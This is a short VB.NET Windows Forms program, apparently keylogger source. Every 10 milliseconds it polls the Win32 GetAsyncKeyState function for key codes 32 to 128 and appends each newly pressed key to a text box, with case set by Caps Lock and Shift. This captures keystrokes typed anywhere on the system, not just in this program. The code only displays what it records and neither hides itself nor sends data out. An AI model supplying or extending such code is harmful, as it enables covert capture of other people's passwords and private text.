Public Class Form1
Dim result As Integer
Dim i As Double
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
End
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Interval = 10
Timer1.Enabled = True
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If My.Computer.Keyboard.CapsLock = True Or My.Computer.Keyboard.ShiftKeyDown = True Then
Text1.Text = Text1.Text + UCase(Chr(i))
Else
Text1.Text = Text1.Text + LCase(Chr(i))
End If
End If
Next i
End Sub